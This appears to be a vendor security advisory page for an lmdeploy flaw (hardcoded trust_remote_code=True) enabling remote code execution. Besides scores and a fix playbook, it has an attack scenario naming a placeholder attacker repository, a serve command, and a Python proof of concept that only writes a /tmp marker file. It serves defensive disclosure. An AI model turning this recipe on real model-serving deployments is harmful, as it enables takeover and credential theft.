Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-m549-qq94-fvhg

HIGHFix: InternLM/lmdeploy#4511

GHSA-m549-qq94-fvhg is a high-severity (CVSS 7.8) Code Injection vulnerability in lmdeploy. O3 Security confirms whether GHSA-m549-qq94-fvhg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization

Also known asCVE-2026-46432PYSEC-2026-2609
Published
May 21, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m549-qq94-fvhg.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk
0.00%0.21%0.43%0.64%0.1%0.1%0.1%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-m549-qq94-fvhg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍lmdeploy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

  1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
  2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:
attacker-org/malicious-model
  1. The lmdeploy serving process starts with that model path:
lmdeploy serve api_server attacker-org/malicious-model
  1. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
  2. Transformers loads and executes remote Python code from the attacker-controlled model repository.
  3. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

  • Read files accessible to the lmdeploy process.
  • Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
  • Modify model-serving behavior or tamper with responses.
  • Execute arbitrary operating-system commands.
  • Access request data or internal service credentials available to the serving process.
  • Cause denial of service by crashing or destabilizing the serving daemon.
  • Pivot to internal services reachable from the lmdeploy host or container.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlmdeployall versions0.13.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lmdeploy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update lmdeploy to 0.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m549-qq94-fvhg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-m549-qq94-fvhg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m549-qq94-fvhg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary lmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites. The affected code paths are in: ```text lmdeploy/archs.py lmdeploy/utils.py ```` The vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`. Because the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlle
O3 Security · Impact-Aware SCA

Is GHSA-m549-qq94-fvhg in your dependencies?

O3 detects GHSA-m549-qq94-fvhg across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-m549-qq94-fvhg: lmdeploy Remote… | O3 Security